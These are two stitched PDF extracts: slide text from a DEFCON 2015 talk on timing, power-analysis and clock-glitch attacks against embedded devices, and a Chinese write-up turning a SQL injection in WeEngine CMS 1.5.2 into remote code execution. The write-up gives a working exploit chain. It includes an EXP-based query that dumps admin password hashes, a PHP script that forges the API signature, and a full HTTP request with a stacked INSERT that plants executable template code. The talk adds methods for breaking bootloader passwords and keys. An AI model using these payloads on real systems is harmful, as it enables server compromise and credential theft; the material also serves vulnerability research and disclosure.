• Important: Must discover when microcontroller
detects button press, not when user presses button
• Need to do some slight reverse-engineering to discover
if using multiplexing, how often polling of buttons, etc
ColinOFlynn.com – DEFCON 2015.
13
ColinOFlynn.com – DEFCON 2015.
14
ColinOFlynn.com – DEFCON 2015.
15
• Don’t compare input directly to saved password
• Ideally: use hashes, also prevents attacker from reading
out memory
• Don’t give any response when ‘wrong’
• No timing information ‘easily’ available
• Depends how you define ‘easily’ though….
ColinOFlynn.com – DEFCON 2015.
16
• TinySafeBoot (TSB) is Awesome Bootloader for AVRs
• See http://jtxp.org/tech/tinysafeboot_en.htm
• DOES NOT claim any sort of cryptographic protection
• BUT – What if someone uses it expecting it to be ‘secure’?
ColinOFlynn.com – DEFCON 2015.
17
CheckPW:
chpw1:
lpm tmp3, z+ ; load character from Flash
cpi tmp3, 255
; byte value (255) indicates
breq chpwx
; end of password -> okay
rcall Receivebyte
; else receive next character
chpw2:
cp tmp3, tmp1 ; compare with password
breq chpw1 ; if equal check next character
cpi tmp1, 0
; or was it 0 (emergency erase)
chpwl: brne chpwl
; if not, loop infinitely
rcall RequestConfirmation
; if yes, request confirm
brts chpa
; not confirmed, leave
rcall RequestConfirmation
; request 2nd confirm
brts chpa
; can't be mistake now
rcall EmergencyErase
; go, emergency erase!
rjmp Mainloop
chpa:
rjmp APPJUMP ; start application
chpwx:
; rcall SendDeviceInfo
ColinOFlynn.com – DEFCON 2015.
18
ColinOFlynn.com – DEFCON 2015.
19
ColinOFlynn.com – DEFCON 2015.
20
ColinOFlynn.com – DEFCON 2015.
21
• 256 x N guesses required, can reduce this if
password comes from ASCII-printable characters
• Even if N=256 (very long password!), and can attempt
only 1/second, still breakable in <24 hours
ColinOFlynn.com – DEFCON 2015.
22
ColinOFlynn.com – DEFCON 2015.
25
ColinOFlynn.com – DEFCON 2015.
26
88 ⨁ EF = 67
56 ⨁ EF = B9
32 ⨁ EF = DD
𝐴6 ⨁ EF = 49
35 ⨁ EF = DA
5
5
6
3
5
HW
observations
Assume user is ‘encrypting’ a 1-byte piece of data by
XORing with a 1-byte secret key (EF), and we cannot
observe output of XOR. This becomes:
Of course our ACTUAL observations are…
88 ⨁ XX = ?
56 ⨁ XX = ?
32 ⨁ XX = ?
𝐴6 ⨁ XX = ?
35 ⨁ XX = ?
5
5
6
3
5
HW
observations
Guess each possibility for key, check what gets actual
HW we observed
88 ⨁ 00 = 88
56 ⨁ 00 = 56
32 ⨁ 00 = 32
𝐴6 ⨁ 00 = A6
35 ⨁ 00 = 35
2
4
3
4
4
HW
Hypothesis
Guess each possibility for key, check what gets actual
HW we observed
88 ⨁ 01 = 89
56 ⨁ 01 = 57
32 ⨁ 01 = 33
𝐴6 ⨁ 01 = A7
35 ⨁ 01 = 34
3
5
4
5
3
HW
Hypothesis
Assume user is ‘encrypting’ a 1-byte piece of data by
XORing with a 1-byte secret key (EF), and we cannot
observe output of XOR. Observed Result?
88 ⨁ EF = 67
56 ⨁ EF = B9
32 ⨁ EF = DD
𝐴6 ⨁ EF = 49
35 ⨁ EF = DA
5
5
6
3
5
HW
Substitution-Box (Lookup Table)
1-Byte of Input (Plaintext)
1-Byte of Key (Subkey)
Bitwise XOR
ColinOFlynn.com – DEFCON 2015.
34
ColinOFlynn.com – DEFCON 2015.
35
Tutorial:
http://newae.com/sidechannel/cwdocs/tutorialaes256boot.html
Paper (CCECE 2015):
https://eprint.iacr.org/2014/899.pdf
ColinOFlynn.com – DEFCON 2015.
36
ColinOFlynn.com – DEFCON 2015.
37
ColinOFlynn.com – DEFCON 2015.
38
ColinOFlynn.com – DEFCON 2015.
39
ColinOFlynn.com – DEFCON 2015.
40
ColinOFlynn.com – DEFCON 2015.
41
ColinOFlynn.com – DEFCON 2015.
42
http://eprint.iacr.org/2015/529
802.15.4 Node
ZigBee (ZigBee IP, ZigBee Pro, RF4CE, etc.)
WirelessHART
MiWi
ISA100.11a
6LoWPAN
Nest Weave
JenNet
Thread
Atmel Lightweight Mesh
IEEE 802.15.5
DigiMesh
ColinOFlynn.com – DEFCON 2015.
43
ColinOFlynn.com – DEFCON 2015.
44
1. Validate headers and security options.
2. Check that the received frame counter is numerically
greater than the last stored frame count.
3. Look up the secret key based on message address
and/or key index.
4. Decrypt the payload (and MAC if present).
5. Validate the MAC (if present).
6. Store the frame counter.
IEEE 802.15.4 Wireless Stack: Frame Decryption
Procedure:
ColinOFlynn.com – DEFCON 2015.
45
Input to AES Block
ColinOFlynn.com – DEFCON 2015.
46
ColinOFlynn.com – DEFCON 2015.
47
ColinOFlynn.com – DEFCON 2015.
49
ColinOFlynn.com – DEFCON 2015.
50
ColinOFlynn.com – DEFCON 2015.
51
ColinOFlynn.com – DEFCON 2015.
52
ColinOFlynn.com – DEFCON 2015.
53
ColinOFlynn.com – DEFCON 2015.
54
linux-util-2.24
ColinOFlynn.com – DEFCON 2015.
55
/*
* auth.c -- PAM authorization code, common between chsh and chfn
* (c) 2012 by Cody Maloney <[email protected]>
*
* this program is free software. you can redistribute it and
* modify it under the terms of the gnu general public license.
* there is no warranty.
*
*/
#include "auth.h"
#include "pamfail.h"
int auth_pam(const char *service_name, uid_t uid, const char *username)
{
if (uid != 0) {
pam_handle_t *pamh = NULL;
struct pam_conv conv = { misc_conv, NULL };
int retcode;
retcode = pam_start(service_name, username, &conv, &pamh);
if (pam_fail_check(pamh, retcode))
return FALSE;
retcode = pam_authenticate(pamh, 0);
if (pam_fail_check(pamh, retcode))
return FALSE;
retcode = pam_acct_mgmt(pamh, 0);
if (retcode == PAM_NEW_AUTHTOK_REQD)
retcode =
pam_chauthtok(pamh, PAM_CHANGE_EXPIRED_AUTHTOK);
if (pam_fail_check(pamh, retcode))
return FALSE;
retcode = pam_setcred(pamh, 0);
if (pam_fail_check(pamh, retcode))
return FALSE;
pam_end(pamh, 0);
/* no need to establish a session; this isn't a
* session-oriented activity... */
}
return TRUE;
}
ColinOFlynn.com – DEFCON 2015.
56
<Clock Glitching Movie>
ColinOFlynn.com – DEFCON 2015.
57
ColinOFlynn.com – DEFCON 2015.
59
int i,j,count;
while(1){
count = 0;
for (j = 0; j < 5000; j++){
for (i = 0; i < 5000; i++){
count++;
}
}
printf("%d %d %d\n", count, i, j);
}
ColinOFlynn.com – DEFCON 2015.
60
ColinOFlynn.com – DEFCON 2015.
61
ColinOFlynn.com – DEFCON 2015.
62
ColinOFlynn.com – DEFCON 2015.
63
ColinOFlynn.com – DEFCON 2015.
64
ColinOFlynn.com – DEFCON 2015.
65
ColinOFlynn.com – DEFCON 2015.
66
120MHz glitch clock (mul = 4, div = 1)
38 Cycles of clock being glitched = 315nS glitch
<Rapberry Pi Movie>
ColinOFlynn.com – DEFCON 2015.
67
<Android Movie>
ColinOFlynn.com – DEFCON 2015.
68
ColinOFlynn.com – DEFCON 2015.
70
ColinOFlynn.com – DEFCON 2015.
72
ColinOFlynn.com – DEFCON 2015.
73
ColinOFlynn.com – DEFCON 2015.
74
ColinOFlynn.com – DEFCON 2015.
75
ColinOFlynn.com – DEFCON 2015.
76
ColinOFlynn.com - HTCIA 2014. Halifax, NS
77
ColinOFlynn.com – DEFCON 2015.
78
ColinOFlynn.com – DEFCON 2015.
79
ColinOFlynn.com – DEFCON 2015.
80
ColinOFlynn.com – DEFCON 2015.
81
ColinOFlynn.com – DEFCON 2015.
82
Find those tools:
www.ChipWhisperer.com
Find me:
www.OFlynn.com
Buy Stuff:
www.newae.com
Twitter: @colinoflynn
Email: [email protected]
ColinOFlynn.com – DEFCON 2015.
83 | pdf |
微擎 CMS:从 SQL 到 RCE
0x01 写在前⾯
微擎 CMS 在 2.0 版本的时候悄咪咪修复了⼀处 SQL 注⼊漏洞:
api.php 536 ⾏
该处的注⼊漏洞⽹上没有出现过分析⽂章,因此本⽂就来分析⼀下该处 SQL 注⼊的利⽤。
0x02 影响版本
经过测试发现,官⽹在 GitLee 上,在 v1.5.2 存在此漏洞,在 2.0 版本修复了该漏洞,因此
⽬测⾄少影响到 v1.5.2 版本
0x03 SQL 注⼊漏洞分析
这个注⼊漏洞分析还是⽐较简单的,直接定位到存在漏洞的代码处 api.php 530 ⾏开始、
564 ⾏开始的两个函数:
private function analyzeSubscribe(&$message) {
global $_W;
$params = array();
$message['type'] = 'text';
$message['redirection'] = true;
if(!empty($message['scene'])) {
$message['source'] = 'qr';
$sceneid = trim($message['scene']);
$scene_condition = '';
if (is_numeric($sceneid)) {
$scene_condition = " `qrcid` = '{$sceneid}'";
}else{
$scene_condition = " `scene_str` = '{$sceneid}'";
}
$qr = pdo_fetch("SELECT `id`, `keyword` FROM " .
tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` =
'{$_W['uniacid']}'");
if(!empty($qr)) {
$message['content'] = $qr['keyword'];
if (!empty($qr['type']) && $qr['type'] == 'scene') {
$message['msgtype'] = 'text';
}
$params += $this->analyzeText($message);
return $params;
}
}
$message['source'] = 'subscribe';
$setting = uni_setting($_W['uniacid'], array('welcome'));
if(!empty($setting['welcome'])) {
$message['content'] = $setting['welcome'];
$params += $this->analyzeText($message);
}
return $params;
}
private function analyzeQR(&$message) {
global $_W;
$params = array();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$params = $this->handler($message['type']);
if (!empty($params)) {
return $params;
}
$message['type'] = 'text';
$message['redirection'] = true;
if(!empty($message['scene'])) {
$message['source'] = 'qr';
$sceneid = trim($message['scene']);
$scene_condition = '';
if (is_numeric($sceneid)) {
$scene_condition = " `qrcid` = '{$sceneid}'";
}else{
$scene_condition = " `scene_str` = '{$sceneid}'";
}
$qr = pdo_fetch("SELECT `id`, `keyword` FROM " .
tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` =
'{$_W['uniacid']}'");
}
if (empty($qr) && !empty($message['ticket'])) {
$message['source'] = 'qr';
$ticket = trim($message['ticket']);
if(!empty($ticket)) {
$qr = pdo_fetchall("SELECT `id`, `keyword` FROM " .
tablename('qrcode') . " WHERE `uniacid` = '{$_W['uniacid']}' AND ticket
= '{$ticket}'");
if(!empty($qr)) {
if(count($qr) != 1) {
$qr = array();
} else {
$qr = $qr[0];
}
}
}
}
if(!empty($qr)) {
$message['content'] = $qr['keyword'];
if (!empty($qr['type']) && $qr['type'] == 'scene') {
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
在 analyzeSubscribe 函数中的 SQL 语句:
直接将 $scene_condition 变量拼接到了 pod_fetch 函数中,⽽ $scene_condition 变量
值来⾃于 $sceneid = trim($message['scene']); ,可以看到仅仅是做了移除字符串两
侧空⽩字符处理。那么就可以通过构造 $message['scene'] 的值,去构造 SQL 语句。
在 analyzeQR 函数中也是类似,因此我们以 analyzeSubscribe 函数为例来分析构造poc。
0x04 SQL 注⼊构造分析
微擎中为了避免 SQL注⼊,实现了包括参数化查询、关键字&字符过滤的⽅式。
过滤的内容如下:
framework/class/db.class.php 700 ⾏:
$message['msgtype'] = 'text';
}
$params += $this->analyzeText($message);
}
return $params;
}
73
74
75
76
77
78
$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') .
" WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");
1
private static $disable = array(
'function' => array('load_file', 'floor', 'hex', 'substring', 'if',
'ord', 'char', 'benchmark', 'reverse', 'strcmp', 'datadir',
'updatexml', 'extractvalue', 'name_const', 'multipoint', 'database',
'user'),
'action' => array('@', 'intooutfile', 'intodumpfile',
'unionselect', 'uniondistinct', 'information_schema', 'current_user',
'current_date'),
'note' => array('/*', '*/', '#', '--'),
);
1
2
3
4
5
可以看到禁⽤了以下函数:
load_file、floor、hex、substring、if、ord、char、benchmark、reverse、reverse、strcmp、
datadir、datadir、updatexml、extractvalue、name_const、multipoint、database、user
禁⽤了以下关键字:
@、into outfile、into dumpfile、union select、union all、union distinct、
information_schema、current_user、current_date
禁⽤了以下注释符:
/* 、 */ 、 -- 、 #
所以对于构造 payload 来说还是造成了⼀定的⿇烦。
⾸先将函数中 SQL 语句还原如下:
那么如果我们想查询到管理员账号密码且不包含相关敏感字符,则可以使⽤ exp语句,如下⽰
例:
具体构建由于本地 MySQL 版本不合适,因此就不写了。
这⾥来说下另⼀种注⼊⽅式。
我们知道微擎⾥的 SQL 语句使⽤的是 PDO 查询,因此⽀持堆叠注⼊。
但要注意的是,使⽤ PDO 执⾏ SQL 语句时,虽然可以执⾏多条 SQL语句,但只会返回第⼀
条 SQL 语句的执⾏结果,所以第⼆条语句中需要使⽤ update 更新数据且该数据我们可以通过
页⾯看到,这样才可以获取数据。
SELECT `id`, `keyword` FROM ims_qrcode where `scene_str` = ? and
uniacid = $_W['uniacid'];
1
SELECT `id`, `keyword` FROM ims_qrcode where `scene_str` = 1 AND(EXP(~
(SELECT*from(select
group_concat(0x7B,uid,0x23,password,0x23,salt,0x23,lastvisit,0x23,lasti
p,0x7D) from we7.ims_users)a))) and uniacid = $_W['uniacid'];
1
经过测试发现,微擎⽀持注册⽤户,如下图所⽰:
登陆后可以在个⼈中⼼看到:
邮寄地址就是⼀个很好的显⽰地⽅,也就是说可以执⾏以下语句。
语句中的 2 是注册后账号的uid,可以从 cookie中找到:
但是这⾥有⼀个问题,就是在我们注⼊的时候,⾸先要验证:
api.php 181⾏:
跟进 checkSign() :
update ims_users_profile set address=(select username from ims_users
where uid =1 ) where uid=2;
1
if(empty($this->account)) {
exit('Miss Account.');
}
if(!$this->account->checkSign()) {
exit('Check Sign Fail.');
}
1
2
3
4
5
6
可以看到有三个变量需要我们去验证,其⽣成规则在 api.php 129 ⾏的 encrypt 函数,如
下:
public function checkSign() {
$arrParams = array(
$token = $this->account['token'],
$intTimeStamp = $_GET['timestamp'],
$strNonce = $_GET['nonce'],
);
sort($arrParams, SORT_STRING);
$strParam = implode($arrParams);
$strSignature = sha1($strParam);
return $strSignature == $_GET['signature'];
}
1
2
3
4
5
6
7
8
9
10
11
12
13
public function encrypt() {
global $_W;
if(empty($this->account)) {
exit('Miss Account.');
}
$timestamp = TIMESTAMP;
$nonce = random(5);
$token = $_W['account']['token'];
$signkey = array($token, TIMESTAMP, $nonce);
sort($signkey, SORT_STRING);
$signString = implode($signkey);
$signString = sha1($signString);
$_GET['timestamp'] = $timestamp;
$_GET['nonce'] = $nonce;
$_GET['signature'] = $signString;
$postStr = file_get_contents('php://input');
if(!empty($_W['account']['encodingaeskey']) &&
strlen($_W['account']['encodingaeskey']) == 43 && !empty($_W['account']
['key']) && $_W['setting']['development'] != 1) {
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
其中 timestamp 是时间戳、 nonce 是5 位随机字符串、 signature 是由 sha1加密后的
$signString ,⽽ $signString 是由 token 、 timestamp 、 nonce 组成。可以看到,是
硬编码⽣成,因此可以通过 print_r($_W) 得到 token 值,如下:
$data = $this->account->encryptMsg($postStr);
$array = array('encrypt_type' => 'aes', 'timestamp' =>
$timestamp, 'nonce' => $nonce, 'signature' => $signString,
'msg_signature' => $data[0], 'msg' => $data[1]);
} else {
$data = array('', '');
$array = array('encrypt_type' => '', 'timestamp' => $timestamp,
'nonce' => $nonce, 'signature' => $signString, 'msg_signature' =>
$data[0], 'msg' => $data[1]);
}
exit(json_encode($array));
}
19
20
21
22
23
24
25
26
所以可以利⽤以下代码⽣成:
<?php
$timestamp = time();
$nonce = random(5);
$token = "omJNpZEhZeHj1ZxFECKkP48B5VFbk1HP";
$signkey = array($token, $timestamp, $nonce);
sort($signkey, SORT_STRING);
$signString = implode($signkey);
$signString = sha1($signString);
1
2
3
4
5
6
7
8
得到:
然后根据官⽹⽂档中的消息格式:
所以最终的 payload 为:
echo $timestamp . " | ".$nonce." | ".$signString;
function random($length) {
$strs =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklnmopqrstuvwxyz0123456789';
$result = substr(str_shuffle($strs),mt_rand(0,strlen($strs)-
($length + 1)),$length);
return $result;
}
?>
9
10
11
12
13
14
15
1622388248 | SATNv | d886b80d868b6fb1038c77f1f26ae5f2891a3b22
1
最终在个⼈中⼼可以看到:
但是这种⽅式⽐较鸡肋和费事,⼀是解密⾮常难,⼆是如果直接添加账号也会留下很多痕
迹,三是即是登录后,还要拿 shell。
那么有没有⼀步到位的⽅法?
0x05 从 SQL 到 RCE
/app/source/home/page.ctrl.php ⽂件:
⾸先判断 $do 的类型,如果不是 getnum 和 addnum 时,进⼊ template_page 函数。
跟进 /app/common/template.func.php 111⾏:
$do = in_array($do, $dos) ? $do : 'index';
$id = intval($_GPC['id']);
if($do == 'getnum'){
$goodnum = pdo_get('site_page', array('id' => $id),
array('goodnum'));
message(error('0', array('goodnum' => $goodnum['goodnum'])), '',
'ajax');
} elseif($do == 'addnum'){
if(!isset($_GPC['__havegood']) || (!empty($_GPC['__havegood']) &&
!in_array($id, $_GPC['__havegood']))) {
$goodnum = pdo_get('site_page', array('id' => $id),
array('goodnum'));
if(!empty($goodnum)){
$updatesql = pdo_update('site_page', array('goodnum' =>
$goodnum['goodnum'] + 1), array('id' => $id));
if(!empty($updatesql)) {
isetcookie('__havegood['.$id.']', $id, 86400*30*12);
message(error('0', ''), '', 'ajax');
}else {
message(error('1', ''), '', 'ajax');
}
}
}
} else {
$footer_off = true;
template_page($id);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function template_page($id, $flag = TEMPLATE_DISPLAY) {
global $_W;
$page = pdo_fetch("SELECT * FROM ".tablename('site_page')." WHERE id
= :id LIMIT 1", array(':id' => $id));
if (empty($page)) {
return error(1, 'Error: Page is not found');
}
if (empty($page['html'])) {
return '';
}
$page['html'] = str_replace(array('<?', '<%', '<?php', '{php'), '_',
$page['html']);
$page['html'] = preg_replace('/<\s*?script.*(src|language)+/i', '_',
$page['html']);
$page['params'] = json_decode($page['params'], true);
$GLOBALS['title'] = htmlentities($page['title'], ENT_QUOTES, 'UTF-
8');
$GLOBALS['_share'] = array('desc' => $page['description'], 'title' =>
$page['title'], 'imgUrl' => tomedia($page['params']['0']['params']
['thumb']));;
$compile = IA_ROOT . "/data/tpl/app/{$id}.{$_W['template']}.tpl.php";
$path = dirname($compile);
if (!is_dir($path)) {
load()->func('file');
mkdirs($path);
}
$content = template_parse($page['html']);
if (!empty($page['params'][0]['params']['bgColor'])) {
$content .= '<style>body{background-color:'.$page['params'][0]
['params']['bgColor'].' !important;}</style>';
}
$GLOBALS['bottom_menu'] = $page['params'][0]['property'][0]['params']
['bottom_menu'];
file_put_contents($compile, $content);
switch ($flag) {
case TEMPLATE_DISPLAY:
default:
extract($GLOBALS, EXTR_SKIP);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
⾸先根据 id 从 ims_site_page 数据表⾥读取页⾯信息,然后过滤掉敏感信息,最后通过
file_put_contents 写⼊到 $compile ,然后在 switch 中被包含 include
$compile; 。
因此我们可以利⽤ SQL 注⼊,向 ims_site_page 表中插⼊⼀句话数据。如下:
template('common/header');
include $compile;
template('common/footer');
break;
case TEMPLATE_FETCH:
extract($GLOBALS, EXTR_SKIP);
ob_clean();
ob_start();
include $compile;
$contents = ob_get_contents();
ob_clean();
return $contents;
break;
case TEMPLATE_INCLUDEPATH:
return $compile;
break;
}
}
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
POST /wq/new/api.php?
id=1×tamp=1622388248&nonce=SATNv&signature=d886b80d868b6fb1038c77f
1f26ae5f2891a3b22 HTTP/1.1
Host: 192.168.49.47
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
1
2
3
4
5
6
7
这⾥的模板内容PHP 代码可以参考:PHP 语句
然后根据官⽹⽂档路由介绍:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close
Content-Length: 440
<xml>
<ToUserName>one</ToUserName>
<FromUserName>two</FromUserName>
<CreateTime>1348831806</CreateTime>
<MsgType>qr</MsgType>
<Content>test</Content>
<type>text</type>
<Event>hello</Event>
<scene>test';insert into
ims_site_page(id,uniacid,multiid,title,description,params,html,multipag
e,type,status,createtime,goodnum) values(1,1,1,'4','5','[{"params":
{"thumb":""}}]','{if phpinfo())?>//}','8','9','10','11','12');</scene>
</xml>
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
则有:
成功执⾏代码
0x06 漏洞修复
这个漏洞主要就是由 SQL 注⼊引起的,因此修复 SQL 注⼊后,后续的包含也没法继续利⽤
了。
官⽅修复⽅式如下:
改成了微擎⾃带的参数化查询。
0x07 写在最后
由于这个是⽼洞了,所以在搭建上坑点不少,但是漏洞很好理解。
最后感谢续师傅的指导,周末还继续带我学习(膜~
0x08 参考
https://www.kancloud.cn/donknap/we7/134649
https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542
https://wiki.w7.cc/chapter/35?id=507
https://gitee.com/we7coreteam/pros/commit/1f5ffb82836f7602f3acbaf9e93e9aa087c93579) | pdf |